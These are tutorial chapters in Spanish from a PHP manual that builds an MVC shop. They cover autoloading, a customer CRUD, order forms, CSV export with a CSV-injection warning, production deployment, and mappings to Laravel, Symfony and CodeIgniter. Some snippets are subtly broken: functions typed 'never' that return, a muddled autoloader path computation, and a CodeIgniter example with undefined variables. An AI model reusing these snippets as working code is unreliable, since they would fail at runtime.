La regla de oro estructural: solo public/ es servido por Apache. Las credenciales, el código y los secretos quedan FUERA del alcance de cualquier URL — un nivel entero de seguridad por gratis.

Autocarga: adiós a los requires en cadena

<?php
// public/index.php — primeras lineas
declare(strict_types=1);

define('BASE_PATH', dirname(__DIR__));

spl_autoload_register(function (string $clase): void {
    // App\\Dominio\\Pedido => src/dominio/Pedido.php
    $ruta = BASE_PATH . '/src/'
          . strtolower(str_replace('App\\', '', $clase))  // prefijo opcional
          . '.php';
    $ruta = str_replace('\\', '/', preg_replace('/([a-z])([A-Z])/', '$1_$2', basename($ruta)));
    $candidato = BASE_PATH . '/src/' . $ruta;
    if (is_file($candidato)) {
        require $candidato;
    }
});

Versión mínima artesanal: convierte nombres de clase a rutas con guiones bajos. Cuando el proyecto crezca, Composer hará esto mismo (y mejor) con composer dump-autoload — pero entenderlo a mano vale oro.

index.php, ya sin sorpresas

<?php
// ... autoload arriba ...

require BASE_PATH . '/helpers/sesion.php';
session_start();

$config = require BASE_PATH . '/config/config.php';
$pdo    = new PDO($config['dsn'], $config['usuario'], $config['clave'], [
    PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
]);

$contenedor = new Container([
    PDO::class               => fn () => $pdo,
    PedidoRepositorio::class => fn () => new PdoPedidoRepositorio($pdo),
]);

$rutaActual = rutaActual();                 // cap. 8
if ($despacho = resolverRuta($rutaActual)) {
    [$clase, $accion] = $despacho;
    try {
        $controlador = construirConReflexion($contenedor, $clase);
        echo $controlador->$accion(...parametrosDeRuta($rutaActual));
        exit;
    } catch (PedidoNoEncontrado) {
        http_response_code(404);
    }
}
http_response_code(404);
echo vista('errores/404', [], layout: null);
# Desarrollo: servidor embebido apuntando SOLO a public/ php -S localhost:8000 -t tienda/public tienda/public/index.php
Error frecuente: arrancar php -S desde la raíz del proyecto sin -t public. Así expones config/ y todo el código fuente por HTTP. La carpeta pública es pública — el resto, jamás.

Puntos clave

  • Solo public/ recibe peticiones: estructura = primera capa de seguridad.
  • spl_autoload_register elimina requires manuales para siempre.
  • index.php: sesión, PDO, contenedor, despacho — y nada más jamás.
  • Desarrollo con php -S -t public; producción con vhost a public/.

27 · CRUD de clientes

Intermedio ~16 min

Prueba de fuego de la arquitectura: ¿qué tan barato es agregar un SEGUNDO recurso completo? Si las convenciones funcionan, ClientesControlador debe nacer casi por dictado — entidad, repositorio, validador, controlador y vistas en cascada. Este capítulo es la demostración práctica de que el sistema escala a nuevos recursos sin inventar nada nuevo.

  • Replicar la pila completa MVC para el recurso Cliente.
  • Agregar validación de negocio: email único.
  • Cuidar el borrado cuando hay pedidos asociados.

Entidad y repositorio, al dictado

<?php
// dominio/Cliente.php
final readonly class Cliente
{
    public function __construct(
        public int $id,
        public string $nombre,
        public string $email,
        public DateTimeImmutable $creado,
    ) {}

    public static function desdeFila(array $f): self
    {
        return new self(
            id: (int) $f['id'],
            nombre: $f['nombre'],
            email: $f['email'],
            creado: new DateTimeImmutable($f['creado']),
        );
    }
}
<?php
// infraestructura/PdoClienteRepositorio.php — los 5 metodos del CRUD
final class PdoClienteRepositorio implements ClienteRepositorio
{
    public function __construct(private PDO $pdo) {}

    public function encontrar(int $id): Cliente { /* como Pedido */ }

    /** @return Cliente[] */
    public function buscar(string $termino = ''): array
    {
        if ($termino === '') {
            return array_map(Cliente::desdeFila(...),
                $this->pdo->query('SELECT * FROM clientes ORDER BY nombre')
                    ->fetchAll(PDO::FETCH_ASSOC));
        }
        $st = $this->pdo->prepare(
            'SELECT * FROM clientes WHERE nombre ILIKE :t ORDER BY nombre'
        );
        $st->execute(['t' => "%$termino%"]);
        return array_map(Cliente::desdeFila(...), $st->fetchAll(PDO::FETCH_ASSOC));
    }

    public function emailOcupado(string $email, ?int $exceptoId = null): bool
    {
        $sql = 'SELECT COUNT(*) FROM clientes WHERE email = :e';
        $p   = ['e' => $email];
        if ($exceptoId !== null) {
            $sql .= ' AND id != :id';
            $p['id'] = $exceptoId;
        }
        $st = $this->pdo->prepare($sql);
        $st->execute($p);
        return $st->fetchColumn() > 0;
    }

    public function agregar(string $nombre, string $email): int { /* INSERT + lastInsertId */ }
    public function actualizar(int $id, string $nombre, string $email): void { /* UPDATE */ }

    /** @throws DominioException si tiene pedidos asociados */
    public function borrar(int $id): void
    {
        $st = $this->pdo->prepare(
            'SELECT COUNT(*) FROM pedidos WHERE cliente_id = :id'
        );
        $st->execute(['id' => $id]);
        if ($st->fetchColumn() > 0) {
            throw new DominioException('El cliente tiene pedidos: no se puede borrar.');
        }
        $this->pdo->prepare('DELETE FROM clientes WHERE id = :id')->execute(['id' => $id]);
    }
}

Validación: formato aquí, negocio en el repo

<?php
// aplicacion/ValidadorCliente.php
final readonly class ValidadorCliente
{
    public function __construct(private PdoClienteRepositorio $repo) {}

    /** @return array<string,string> */
    public function validar(array $d, ?int $idActual = null): array
    {
        $e = [];
        $nombre = trim((string) ($d['nombre'] ?? ''));
        $email  = strtolower(trim((string) ($d['email'] ?? '')));

        if ($nombre === '')                       $e['nombre'] = 'Indique el nombre.';
        if (!filter_var($email, FILTER_VALIDATE_EMAIL))
                                                  $e['email']  = 'Email invalido.';
        elseif ($this->repo->emailOcupado($email, $idActual))
                                                  $e['email']  = 'Ese email ya esta registrado.';
        return $e;
    }
}

Observa el reparto: sintaxis de email (formato) y unicidad (negocio, consulta BD) conviven en el validador pero delegando la regla al repositorio. El controlador solo orquesta:

<?php
final class ClientesControlador extends ControladorBase
{
    public function guardar(): never
    {
        $errores = $this->validador()->validar($_POST);
        if ($errores !== []) {
            echo $this->renderConErrores('clientes/nuevo', $errores, $_POST);
            return;
        }
        $id = $this->repo()->agregar(trim($_POST['nombre']), strtolower(trim($_POST['email'])));
        $this->redirigir("/clientes/$id", 'success', "Cliente #$id registrado.");
    }

    /** DELETE logico via POST (HTML forms no mandan metodo DELETE) */
    public function borrar(int $id): never
    {
        try {
            $this->repo()->borrar($id);
            $this->redirigir('/clientes', 'warning', "Cliente #$id eliminado.");
        } catch (DominioException $e) {
            flash('danger', $e->getMessage());       // mensaje honesto
            header("Location: /clientes/$id", response_code: 303);
            exit;
        }
    }
}
Ruta nuevaAcción
GET /clienteslistar (con búsqueda ?q=)
GET /clientes/nuevonuevo
POST /clientesguardar
GET /clientes/{id}/editareditar
POST /clientes/{id}actualizar
POST /clientes/{id}/borrarborrar
Segunda vez es más rápido: este recurso completo salió sin tocar router, contenedor, layouts ni helpers. ESE es el indicador de que la arquitectura funciona — cada recurso nuevo paga solo su lógica específica.

Puntos clave

  • Misma pila, mismo orden: entidad → repo → validador → controlador → vistas.
  • Email único = negocio: vive en el repositorio, lo invoca el validador.
  • Borrado defensivo: FK con pedidos bloquea con excepción clara.
  • HTML no manda DELETE: se simula con POST /{id}/borrar — estándar pragmático.

28 · Pedidos end-to-end

Avanzado ~17 min

Todas las piezas existen — este capítulo las suelda en EL flujo que da sentido a la tienda: registrar un pedido con N productos desde un formulario vivo, verlo completo con sus líneas, y anularlo con reglas. El recorrido vertical definitivo, de la tecla del usuario hasta la fila en la base de datos.

  • Construir el formulario dinámico de ítems sin frameworks JS.
  • Parsear items[] hacia el borrador con saneamiento por línea.
  • Mostrar el pedido con sus detalles y cerrar el ciclo de estados.

El formulario que crece

<?php // plantillas/pedidos/nuevo.php ?>
<form method="post" id="form-pedido">
  <select name="cliente_id" required>
    <?php foreach ($clientes as $c): ?>
      <option value="<?= $c->id ?>"><?= e($c->nombre) ?></option>
    <?php endforeach; ?>
  </select>

  <div id="items"></div>
  <button type="button" data-agregar-item>+ Producto</button>

  <template id="plantilla-item">      <!-- eco cap. 15: datos via atributos -->
    <div class="item">
      <input name="items[][producto]"  placeholder="Producto" required>
      <input name="items[][cantidad]"  type="number" min="1" value="1" required>
      <input name="items[][precio]"    type="number" step="0.10" min="0.01" required>
    </div>
  </template>
  <button>Registrar pedido</button>
</form>
// public/pedidos.js — clonar plantilla al hacer clic (nada de librerias)
document.querySelector('[data-agregar-item]').addEventListener('click', () => {
  document.getElementById('items')
    .append(document.getElementById('plantilla-item')
      .content.cloneNode(true));
});

La sintaxis items[][producto] es PHP puro: el navegador envía arreglos anidados que llegan listos en $_POST['items']. El template + clonación evita HTML incrustado en JavaScript.

guardar(), versión definitiva

<?php
public function guardar(): never
{
    $errores = (new ValidadorPedido())->validar($_POST);
    if ($errores !== []) {
        echo $this->renderConErrores('pedidos/nuevo', $errores, $_POST);
        return;
    }

    // Saneo por linea: descarta filas vacias, tipifica cada campo
    $borrador = new PedidoBorrador(clienteId: (int) $_POST['cliente_id']);
    foreach ($_POST['items'] ?? [] as $fila) {
        $producto = trim((string) ($fila['producto'] ?? ''));
        if ($producto === '') {
            continue;                        // fila fantasma: fuera
        }
        try {
            $borrador->agregar(
                $producto,
                max(1, (int) ($fila['cantidad'] ?? 1)),
                max(0.01, (float) ($fila['precio'] ?? 0)),
            );
        } catch (DominioException) {
            continue;                        // linea absurda: se ignora, no explota
        }
    }

    try {
        $id = $this->repo()->crearConDetalles(
            ['cliente_id' => $borrador->clienteId(),
             'total'      => $borrador->total()],   // SIEMPRE recalculado
            $borrador->items(),
        );
    } catch (DominioException $e) {
        echo $this->renderConErrores('pedidos/nuevo',
            ['items' => $e->getMessage()], $_POST);
        return;
    }

    flash('success', "Pedido #$id registrado.");
    header("Location: /pedidos/$id", response_code: 303);
    exit;
}

ver() con sus detalles

<?php
// repo agrega: /** @return array<array{producto:string,cantidad:int,precio:float}> */
public function detallesDe(int $pedidoId): array { /* SELECT ... WHERE pedido_id */ }

public function ver(int $id): string
{
    try {
        $pedido = $this->repo()->encontrar($id);
    } catch (PedidoNoEncontrado) {
        http_response_code(404);
        return vista('errores/404', [], layout: null);
    }
    return vista('pedidos/ver', [
        'vm'      => PedidoVista::desdeDominio($pedido),
        'detalles' => $this->repo()->detallesDe($id),
    ]);
}
# El ciclo de vida completo, probado: curl -s -c g.txt -b g.txt -d "cliente_id=3&items[0][producto]=Cafe&items[0][cantidad]=2&items[0][precio]=12.5" localhost:8000/pedidos -i | grep -E "303|Location"
HTTP/1.1 303 See Other Location: /pedidos/18
curl -s -b g.txt localhost:8000/pedidos/18 | grep -E "badge|S/" # badge-secondary REGISTRADO ... S/ 25.00
Verifica el total en BD: S/ 25.00 salió de $borrador->total() — el cliente nunca envió un total. Si intentaste colarlo en el POST, fue silenciosamente ignorado. La regla del capítulo 21 trabajando en producción.

Puntos clave

  • items[][campo]: arreglos anidados nativos de PHP en formularios.
  • <template> + cloneNode: UI dinámica sin librerías ni innerHTML.
  • Saneo línea a línea antes del borrador: basura filtrada, tipos forzados.
  • El flujo completo usa SOLO piezas ya construidas — cero inventos nuevos.

29 · Reportes CSV

Intermedio ~15 min

El gerente quiere «lo mismo de la tabla, pero en Excel para abrir en su laptop». Traducción: CSV. La buena noticia — y la prueba de madurez de nuestra arquitectura — es que esta función entera se implementa reutilizando decisiones viejas: el repositorio ya tiene los datos, y el layout nulo del capítulo 14 ya sabe servir respuestas crudas.

  • Servir un CSV con cabeceras correctas (descarga, no pantalla).
  • Escribir filas con fputcsv() sin pelearte con comillas.
  • Elegir bien: generar todo en memoria vs transmitir por partes.

La acción completa

<?php
// GET /pedidos/reportar.csv -> [PedidosControlador::class, 'reportarCsv']
public function reportarCsv(): never
{
    $pedidos = $this->repo()->todos();

    header('Content-Type: text/csv; charset=UTF-8');
    header('Content-Disposition: attachment; filename="pedidos.csv"');

    $salida = fopen('php://output', 'w');

    // BOM para que Excel respete UTF-8 (tildes y eñes legibles)
    fwrite($salida, "\xEF\xBB\xBF");

    fputcsv($salida, ['id', 'cliente', 'total', 'estado', 'creado']);
    foreach ($pedidos as $p) {
        fputcsv($salida, [
            $p->id,
            $p->cliente,
            number_format($p->total, 2, '.', ''),   // punto decimal universal
            $p->estado->value,
            $p->creado->format('Y-m-d H:i:s'),      // ISO: ordenable en Excel
        ]);
    }
    fclose($salida);
    exit;
}

Cuatro decisiones que valen un café:

  • Content-Disposition: attachment: el navegador DESCARGA en vez de intentar renderizar. Sin ella, verías sopa de texto.
  • BOM UTF-8: tres bytes invisibles que evitan el clásico «José» al abrir en Excel. Baratísimo, infalible.
  • fputcsv(): escapa comillas, comas y saltos por ti. Concatenar a mano funciona hasta el primer cliente llamado «O'Brien, S.A.C.».
  • Fechas ISO + punto decimal: columnas ordenables y sumables sin configuración regional de nadie.
# Prueba directa: curl -s -o pedidos.csv localhost:8000/pedidos/reportar.csv && cat pedidos.csv
id,cliente,total,estado,creado 17,Cafe Central,25.00,REGISTRADO,2026-08-23 09:14:00 18,Libreria Sur,540.00,PAGADO,2026-08-23 10:02:31

Memoria vs streaming: el límite honesto

$repo->todos() carga TODO en memoria. Con diez mil pedidos, fine. Con dos millones, fatal. La versión que escala usa el cursor de PDO:

<?php
// En el repositorio: fila a fila, sin acumular
public function cursorTodos(): Generator
{
    $st = $this->pdo->query('SELECT * FROM pedidos ORDER BY creado');
    while ($fila = $st->fetch(PDO::FETCH_ASSOC)) {
        yield $fila;
    }
}

// Y la accion itera el generador: memoria constante
foreach ($this->repo()->cursorTodos() as $fila) {
    fputcsv($salida, /* ... */);
}
Volumen esperadoEstrategiaMotivo
< ~50k filasfetchAll normalmás simple, suficiente
cientos de miles+Generator + php://outputmemoria constante, primera fila sale YA
CSV es texto plano, no formato seguro: jamás interpolen fórmulas (=SUM...) desde datos de usuario — Excel las ejecuta (CSV injection). Si un campo puede empezar con =, +, - o @, antepónele apóstrofe. Regla de una línea que evita titulares de seguridad.

Puntos clave

  • Cabeceras attachment + text/csv: descarga limpia garantizada.
  • BOM UTF-8 + fputcsv(): tildes OK y escape automático de comillas.
  • Generadores para volúmenes grandes: memoria plana, salida inmediata.
  • Neutraliza celdas iniciadas en =+-@: CSV injection es real.

30 · A producción

Avanzado ~16 min

La tienda funciona en tu laptop — ahora debe funcionar a las 2 de la mañana con clientes reales y sin ti mirando. Producción no es «subir los archivos»: es una lista de decisiones que separan un juguete encantador de un servicio responsable. Esta parte cierra con el checklist completo.

  • Configurar PHP para morir en logs, no en pantallas.
  • Separar credenciales del repositorio de código.
  • Instalar el vhost correcto + HTTPS + caché OPcache.

PHP: dos personalidades

; /etc/php/8.5/fpm/php.ini — PRODUCCION
display_errors = Off        ; el publico jamas ve stack traces
log_errors = On             ; ...pero TU si, en el log
error_log = /var/log/php/error.log
opcache.enable = On         ; bytecode cacheado: 2-3x mas rapido
opcache.validate_timestamps = 0   ; maxima velocidad (ver nota)
memory_limit = 256M

En desarrollo todo al revés: display_errors=On, validate_timestamps=1. El mismo binario, dos perfiles por ini.

validate_timestamps=0: PHP deja de revisar si los archivos cambiaron — velocidad máxima, pero cada deploy exige systemctl reload php8.5-fpm o el servidor servirá código viejo eternamente. Es la causa #1 de «en mi laptop funciona».

Credenciales fuera del git

<?php
// config/config.php — EJEMPLO versionado (valores falsos)
return [
    'dsn'     => 'pgsql:host=localhost;dbname=tienda',
    'usuario' => 'tienda',
    'clave'   => 'CAMBIAR_EN_SERVIDOR',
];

// En el servidor real: config.local.php (gitignored) lo pisa:
$config = require BASE_PATH . '/config/config.php';
if (is_file($local = BASE_PATH . '/config/config.local.php')) {
    $config = array_merge($config, require $local);
}
# .gitignore config/config.local.php

La clave de BD jamás viaja en un commit — ni «solo esta vez». Los secretos filtrados viven para siempre en la historia del repo.

Apache apuntando donde debe

<VirtualHost *:80>
    ServerName tienda.midominio.pe

    DocumentRoot /var/www/tienda/public    <-- SOLO public, como cap. 26
    <Directory /var/www/tienda/public>
        AllowOverride All                  <-- respeta tu .htaccess de rewrite
        Require all granted
    </Directory>

    ErrorLog  ${APACHE_LOG_DIR}/tienda-error.log
    CustomLog ${APACHE_LOG_DIR}/tienda-access.log combined
</VirtualHost>
# HTTPS gratuito y automatico (certbot renueva solo): sudo certbot --apache -d tienda.midominio.pe

La red de seguridad global

Cualquier Throwable que escape hoy mata la página con un 200 vacío o un stack trace. La última línea de defensa vive en index.php:

<?php
// index.php — envoltorio final
set_exception_handler(function (Throwable $e): void {
    error_log('[TIENDA] ' . $e->getMessage() . ' @ '
        . $e->getFile() . ':' . $e->getLine());
    http_response_code(500);
    echo vista('errores/500', [], layout: null);   // pagina amable, cero detalle
});

// Health check para monitores externos (uptime robots):
if ($_SERVER['REQUEST_URI'] === '/salud') {
    header('Content-Type: application/json');
    echo json_encode(['ok' => true]);
    exit;
}

El checklist de despliegue

# Rutina completa, copiable: git pull # codigo nuevo composer install --no-dev # dependencias prod (cuando haya) psql tienda < migraciones/2026_08.sql # esquema al dia cp config/config.local.php.bak ... # verificar credenciales locales systemctl reload php8.5-fpm # opcache refrescado curl -fsS localhost/salud || echo "FALLO" # pulso verde antes de anunciar
CapaDesarrolloProducción
Servidorphp -SApache vhost + FPM
Errorespantallalog + página amable
CachéoffOPcache agresivo
Secretosconfig.phpconfig.local.php (gitignored)
Transportehttp localhostHTTPS via certbot

Puntos clave

  • display_errors Off SIEMPRE en producción; errores van al log.
  • Credenciales via config.local.php gitignored — nunca en commits.
  • vhost → public/, certbot para HTTPS, reload FPM tras cada deploy.
  • exception handler global + /salud: dignidad y monitoreo baratos.

31 · Laravel: el mismo esqueleto

Avanzado ~16 min

Abrir la documentación de Laravel después de este manual produce una sensación extraña: todo suena conocido. Porque ES conocido — cada pieza que construiste a mano tiene allí su equivalente industrial. Este capítulo traza el mapa uno a uno para que pases de «entender el patrón» a «navegar el framework» sin esfuerzo.

  • Mapear cada componente artesanal a su equivalente Laravel.
  • Reconocer el front controller y las rutas como viejos amigos.
  • Reescribir guardar() usando las herramientas del framework.

La tabla de traducción

Lo nuestro (caps.)LaravelQué ganó
public/index.php (12)public/index.php ¡mismo nombre!igual, con kernel HTTP
.htaccess rewrite (7)idéntico conceptonada — era correcto
config/rutas.php (9–11)routes/web.phpsintaxis fluida, cacheo
Container + reflexión (12)Service Containerauto-resolución profunda, bindings
vista() + layouts (13–14)view() + Bladeplantillas compiladas, @extends/@include
e() obligatorio (15){{ }} escapa SIEMPREimposible olvidarlo
PedidoVista (16)API Resourcesmismo idea, serialización incluida
ValidadorPedido (19)FormRequest con rules[]integrado con redirect automático de errores
PdoPedidoRepositorio (18)Eloquent / DB facadehidratación y relaciones automáticas
crearConDetalles() (20)DB::transaction(fn () => ...)mismo try/catch, menos líneas
flash() + PRG (23–24)->with('success', ...)una cadena fluida
ControladorBase (25)clase Controller + traitsAuthorizesRequests, ValidatesAccess...

¿Ves el patrón? Nada conceptual es nuevo. Lo que compraste al instalar Laravel fue pulido, documentación y ecosistema — la arquitectura ya estaba en ti.

guardar(), reescrito

<?php
// routes/web.php — nuestra tabla de rutas, dialecto fluido
Route::get('/pedidos',                 [PedidoController::class, 'index']);
Route::post('/pedidos',                [PedidoController::class, 'store']);
Route::get('/pedidos/{pedido}',        [PedidoController::class, 'show']);
<?php
class PedidoController extends Controller
{
    // StorePedidoRequest = nuestro ValidadorPedido con reglas declarativas
    public function store(StorePedidoRequest $req): RedirectResponse
    {
        // route model binding: {pedido} ya llega resuelto o 404 solo
        $datos = $req->validated();

        $id = DB::transaction(function () use ($datos) {
            $pedido = Pedido::create([
                'cliente_id' => $datos['cliente_id'],
                'total'      => $this->calcTotal($datos['items']),
            ]);
            $pedido->detalles()->createMany($datos['items']);
            return $pedido->id;
        });

        return redirect("/pedidos/$id")           // PRG
            ->with('success', "Pedido #$id registrado.");   // flash
    }
}

Léelo despacio: validación declarativa, transacción envolvente, PRG con flash — TODAS nuestras decisiones, en dialecto framework.

Ejercicio recomendado: reconstruye la tienda en Laravel siguiendo ESTA tabla fila por fila. Cada equivalencia que confirmes con tus manos vale más que diez tutoriales — porque ya sabes QUÉ está pasando debajo.
¿Y cuándo SÍ conviene el framework? Cuando el equipo crece, cuando necesitas autenticación/colas/eventos ya resueltos, o cuando el mantenimiento importa más que el control fino. Nuestro artesano brilla aprendiendo, prototipando y sistemas pequeños bien acotados.

Puntos clave

  • Laravel ES nuestra arquitectura con muebles industriales.
  • Front controller, rutas, contenedor, vistas, flash: mapeo uno a uno.
  • Blade {{ }} institucionaliza nuestra disciplina del e().
  • Saber qué hay DEBAJO convierte la curva del framework en cuesta suave.

32 · Symfony y CodeIgniter

Avanzado ~15 min

Laravel es solo un dialecto. Symfony y CodeIgniter hablan el mismo idioma — MVC con front controller — pero con acentos distintos que conviene reconocer de oído. Al terminar este capítulo podrás abrir CUALQUIER proyecto PHP moderno y ubicarte en minutos, porque el mapa mental ya lo tienes.

  • Reconocer nuestras piezas dentro de Symfony (componentes + Twig).
  • Ver por qué CodeIgniter 4 es el pariente más parecido al artesanal.
  • Elegir framework con criterio, no por moda.

Symfony: piezas de precisión suiza

<?php
// src/Controller/PedidoController.php — las rutas VIVEN en la clase
use Symfony\Component\Routing\Attribute\Route;

final class PedidoController extends AbstractController
{
    #[Route('/pedidos/{id}', name: 'pedido_ver', requirements: ['id' => '\d+'])]
    public function ver(int $id, PedidoRepositorio $repo): Response
    {
        // inyeccion por tipo: nuestro contenedor de fabricas, version orquesta
        return $this->render('pedidos/ver.html.twig', [
            'vm' => PedidoVista::desdeDominio($repo->encontrar($id)),
        ]);
    }
}
{# plantillas/pedidos/ver.html.twig — Twig escapa {{ }} automaticamente #}
<h1>Pedido #{{ vm.id }}</h1>
<p>Cliente: {{ vm.cliente }}</p>
<span class="{{ vm.claseBadge }}">{{ vm.estado }}</span>

Las equivalencias: atributos #[Route] = nuestra tabla declarativa (cap. 9) pegada al método; el contenedor de servicios = nuestras fábricas con reflexión (cap. 12) elevadas a estándar de industria; Twig = Blade con otra sintaxis y la MISMA regla del escape automático. Nuestro view model (cap. 16) pasa intacto — buena arquitectura sobrevive al cambio de motor de plantillas.

CodeIgniter 4: el primo cercano

<?php
// app/Controllers/Pedidos.php — casi nuestro cap. 22 tal cual
class Pedidos extends BaseController
{
    public function guardar(): RedirectResponse
    {
        // validation.php config + $this->validate(): nuestra bolsa de errores
        if (!$this->validate(['cliente' => 'required|min_length[3]'])) {
            return redirect()->back()->withInput()
                ->with('errors', $this->validator->getErrors());
        }

        $this->pedidosModel->insert($datos);          // modelo estilo CI4
        return redirect()->to("/pedidos/{$id}")
            ->with('success', "Pedido #$id registrado.");   // flash nativo
    }
}

CI4 conserva la filosofía «MVC sin ceremonias»: controladores planos, helper view() gemelo de nuestra vista(), sesiones con flash integradas. Si tu hosting compartido corre PHP viejo o quieres curva mínima para un equipo junior, CI4 es la puerta más corta desde este manual.

Los tres, lado a lado

ConceptoNuestro (caps.)LaravelSymfonyCodeIgniter 4
Rutasrutas.php (9)web.php fluido#[Route]Routes.php
Plantillasvista()+layout (13–14)BladeTwigview() + parser opcional
Escape autoe() manual (15){{ }}{{ }}= esc()? manual-ish
Contenedorfábricas+reflexión (12)sí, completosí, el estándarligero/opcional
Validaciónbolsa errores (19)FormRequestConstraints$validation service
Peso/curvacero dependenciasmedio-altaaltabaja
# Regla de decision rapida: # - Aprendiendo o hosting humilde ....... CI4 (o nuestro artesano) # - Producto con equipo y ecosistema .... Laravel # - Empresa con componentes a medida .... Symfony
Dato curioso: los componentes HTTPFoundation/Routing de Symfony son la base SOBRE la que Laravel construye. Dominar el patrón te hace ciudadano de los tres ecosistemas a la vez — ese era el objetivo real de esta Parte VIII.

Puntos clave

  • Tres frameworks = tres acentos del idioma MVC que ya hablas.
  • Symfony: precisión y componentes; sus piezas viven DENTRO de Laravel.
  • CodeIgniter 4: la migración más natural desde nuestro artesano.
  • El patrón se lleva puesto; el framework se cambia de ropa.

33 · Mapa de decisiones

Intermedio ~14 min

Treinta y dos capítulos tomando decisiones — es momento de la foto final: qué se decidió, dónde, por qué, y qué alternativas quedaron en el camino. Esta página es tu índice de consulta rápida; vuelve a ella cada vez que un proyecto nuevo te haga dudar.

  • Repasar el inventario completo de componentes y su capítulo natal.
  • Fijar las reglas de casa que sostienen todo el edificio.
  • Tener a mano el catálogo de antipatrones con sus curas.

Inventario de la construcción

ComponenteCaps.Decisión centralAlternativa rechazada
Punto único de ingreso4–6index.php recibe TODOPHP suelto por carpeta
Rutas amigables7–8rewrite → rutaActual()?controlador=...&accion=...
Tabla declarativa9–10rutas como datos + regex {id}switch gigante
405 semántico11ExcepcionMetodo + Allow:404 para todo
Despacho reflexivo12fábricas + constructor recursivonew manual en cada sitio
vista() con buffer13capturar antes de enviarecho directo en plantilla
Layouts/partials14$contenido como puenteduplicar esqueleto HTML
e() sistemático15cero interpolaciones desnudas«confío en mis usuarios»
View models16datos listos para pintarlógica en plantillas
Entidades readonly17enum + tipos ricosarreglos asociativos
Repositorio PDO18SQL vive SOLO ahíqueries en controladores
Bolsa de errores19campo→mensaje + 422die('dato malo')
Transacciones20en el repo, re-throwinserts sueltos «y rezar»
Negocio en modelo21total calculado, estados validadosreglas en el controlador
PRG + flash23–24303 tras mutación exitosa200 directo al POST
Base medida25solo duplicación REALherencia especulativa
Deploy responsable30logs sí, pantallas nodisplay_errors On «para ver»

Las reglas de casa (memorízalas)

1.  Ninguna accion hace echo: devuelve HTML o redirige.
2.  Ninguna plantilla imprime <?= $x ?> sin e() o cast numerico.
3.  El total JAMAS llega del cliente: se recalcula siempre.
4.  El SQL vive solo en repositorios, con sentencias preparadas.
5.  Toda mutacion multiple va en transaccion dentro del repo.
6.  Todo POST exitoso termina en 303 + Location + flash.
7.  La base comun exige duplicacion demostrada, no profecia.
8.  En produccion los errores van al log, nunca a la pantalla.

Antipatrones: síntoma → cura

SíntomaDiagnósticoCura (cap.)
Método guardar() de 100 líneasfat controllernegocio al modelo (21)
SELECT dentro de plantillamodelo anémico + vista activarepo + view model (16/18)
«José» o script ejecutadosalida sin escapare() obligatoria (15)
Pedidos duplicados por F5POST respondiendo 200PRG (23)
Pedido sin detalles en BDescritura sin transaccióncrearConDetalles (20)
Miedo a tocar ControladorBaseclase-zorro omniscientebase mínima medida (25)
Funciona en laptop, no en serveropcache/ini divergenteschecklist deploy (30)
# Autoevaluacion express (si dudas, relee el capitulo): [ ] Explico rutaActual() sin mirar ............ caps. 7-8 [ ] Escribo vista() de memoria ................ cap. 13 [ ] Justifico EXTR_SKIP y ob_get_clean ........ cap. 13 [ ] Dibujo el ciclo PRG con codigos HTTP ...... cap. 23 [ ] Enumero las 3 fases de crearConDetalles ... cap. 20 [ ] Mapeo mis piezas a Laravel sin ayuda ...... cap. 31
El verdadero producto del manual no es la tienda: son las DIECISIETE decisiones de esta tabla, ahora tuyas. Los frameworks cambian cada tres años; los principios que elegiste, casi nunca.

Puntos clave

  • Cada componente tiene acta de nacimiento: capítulo + decisión + alternativa.
  • Ocho reglas de casa resumen 32 capítulos — caben en una tarjeta.
  • Los antipatrones tienen cura conocida y capítulo de referencia.
  • Si puedes reconstruir las piezas de memoria, el manual cumplió.

34 · Rutas de continuación

Intermedio ~12 min

Último capítulo — y el único que no termina nada: te deja empezando. Primero el examen de graduación, luego tres caminos según tu horizonte. Elige uno, hazlo completo, y este manual habrá cumplido su destino.

  • Aprobar el ejercicio final integrador: el recurso Productos.
  • Elegir ruta de profundización con criterio (testing, framework, operación).
  • Cerrar con la perspectiva correcta: patrones > herramientas.

Examen de graduación: recurso Productos

# Entregables (usa cap. 27 como plantilla mental): [ ] Producto.php readonly + desdeFila() ............... eco caps. 17/27 [ ] PdoProductoRepositorio: buscar/encontrar/agregar .. eco cap. 18 [ ] ValidadorProducto: nombre, precio > 0, stock >= 0 . eco cap. 19 [ ] ProductosControlador extends base, 5 acciones ..... eco cap. 25 [ ] Vistas listar/nuevo/editar + partial _fila ........ eco caps. 13-14 [ ] Rutas en config/rutas.php ......................... eco cap. 9 [ ] Binding en el contenedor .......................... eco cap. 12 [ ] PRG + flash en guardar/borrar ..................... eco caps. 23-24 # Criterio de aprobacion: curl completo del ciclo sin tocar # NINGUN archivo existente salvo rutas.php y el contenedor. # Si tocaste index.php o ControladorBase: relee cap. 25.

Si lo resuelves en una tarde sin releer los capítulos, la arquitectura ya es tuya — no la memorizaste: la HABITASTE.

Camino A — Profundizar en PHP puro

<?php
// El primer paso serio: pruebas automatizadas (PHPUnit)
public function test_total_se_recalcula_y_no_confia_del_cliente(): void
{
    $b = new PedidoBorrador(clienteId: 3);
    $b->agregar('Cafe', 2, 12.50);
    $this->assertSame(25.00, $b->total());     // regla viva, verificada
}

Nuestro dominio es PURO por diseño — prueba en milisegundos sin BD ni servidor. Sigue con: PHPUnit sobre entidades y validadores → mocks del repositorio → tests de integración con SQLite en memoria. Después: colas con database worker, autenticación con password_hash, y migraciones versionadas.

Camino B — Saltar al framework

Toma la tabla del capítulo 31 y reconstruye la tienda en Laravel, pieza por pieza. La regla: cada vez que algo «magia» — detente y nombra cuál de NUESTRAS piezas está haciendo ese trabajo debajo. Si no puedes nombrarlo, vuelve al capítulo correspondiente antes de seguir. El framework se convierte en confirmación, no en revelación.

# Y cuando domines ambos mundos: composer create-project laravel/laravel tienda-v2 # semanas, no meses # ...porque las decisiones ya estaban tomadas desde aqui.

Camino C — Operación real

Si tu meta es poner la tienda EN LINEA mañana: Docker para replicar el entorno exacto en cualquier máquina, GitHub Actions para correr tus tests en cada push, y un VPS con el checklist del capítulo 30 ejecutado a mano UNA vez — para que sepas qué automatiza cada herramienta que uses después.

CaminoPrimer paso concretoSeñal de avance
A · ProfundidadPHPUnit sobre PedidoBorradorsuite verde en <1 s
B · Frameworkrutas web.php equivalentesCRUD clientes funcionando
C · OperaciónDockerfile + checklist cap. 30/salud verde en VPS
Y la serie sigue: esta familia de manuales repite el mismo método — construir primero, abstraer después — en Kotlin/Droid, Dart y más allá. El MVC que armaste aquí tiene primos directos en esos ecosistemas; reconocerlos será cuestión de minutos.

Palabras finales

